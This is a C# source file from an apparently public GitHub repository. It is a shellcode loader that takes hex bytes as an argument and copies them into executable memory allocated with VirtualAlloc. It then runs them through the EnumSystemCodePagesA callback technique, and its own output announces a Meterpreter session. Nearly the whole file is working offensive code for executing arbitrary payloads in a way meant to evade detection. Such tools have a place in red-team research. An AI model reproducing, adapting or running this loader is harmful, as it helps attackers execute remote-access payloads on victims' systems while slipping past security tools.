-
Notifications
You must be signed in to change notification settings - Fork 19
/
NativePayload_EnumSystemCodePagesA.cs
56 lines (51 loc) · 2.36 KB
/
NativePayload_EnumSystemCodePagesA.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_EnumSystemCodePagesA
{
class Program
{
[Flags]
public enum AllocationType
{
Commit = 0x00001000
}
[Flags]
public enum MemoryProtection
{
ExecuteReadWrite = 0x0040
}
//[DllImport("kernel32.dll")]
//public static extern IntPtr LoadLibraryW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName);
[DllImport("ntdll.dll")]
private static extern bool RtlMoveMemory(IntPtr addr, byte[] pay, uint size);
[DllImport("kernelbase.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
private static extern bool EnumSystemCodePagesA(IntPtr lpCodePageEnumProc, uint dwFlags);
static void Main(string[] args)
{
/// .Net 3.5 / 4.0 only ;)
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_EnumSystemCodePagesA , Published by Damon Mohammadbagher , Mar 2021");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("NativePayload_EnumSystemCodePagesA Callback Functions Technique via (EnumSystemCodePagesA) API");
Console.WriteLine();
string[] X = args[0].Split(',');
byte[] Xpayload = new byte[X.Length];
for (int i = 0; i < X.Length;) { Xpayload[i] = Convert.ToByte(X[i], 16); i++; }
Console.WriteLine();
IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)Xpayload.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
//Marshal.Copy(Xpayload, 0, p, Xpayload.Length);
RtlMoveMemory(p, Xpayload, (uint)Xpayload.Length);
Console.WriteLine("[!] [" + DateTime.Now.ToString() + "]::VirtualAlloc.Result[" + p.ToString("X8") + "]");
Console.WriteLine();
Console.WriteLine("Bingo: Meterpreter Session via callback functions Technique by \"EnumSystemCodePagesA\" ;)");
bool ok = EnumSystemCodePagesA(p, 0);
Console.ReadKey();
}
}
}